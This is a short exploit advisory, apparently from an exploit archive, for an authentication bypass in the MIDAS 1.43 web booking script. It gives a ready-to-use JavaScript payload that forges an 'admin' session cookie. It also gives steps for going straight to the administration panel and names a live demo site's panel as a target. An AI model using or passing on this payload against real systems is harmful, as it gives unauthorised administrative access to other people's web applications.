MIDAS 1.43 (Auth Bypass) Insecure Cookie Handling Vulnerability

-------------------------------------------- MIDAS Insecure Cookie Handling Vulnerability -------------------------------------------- Author.: HxH Contact: HxH[at]live[dot]at --------------------------- Script.: MIDAS Home...: http://mid.as ------------------------------------------------------------------------------------------------- Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/"; Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0 ------------------------------------------------------------------------------------------------- Demo...: http://demo.mid.as Panel..: http://demo.mid.as/level1.pl?x=0 ----------------------------------------- Greetz.: ~ Jiko ~ Sniper Code ----------------------------- # sebug.net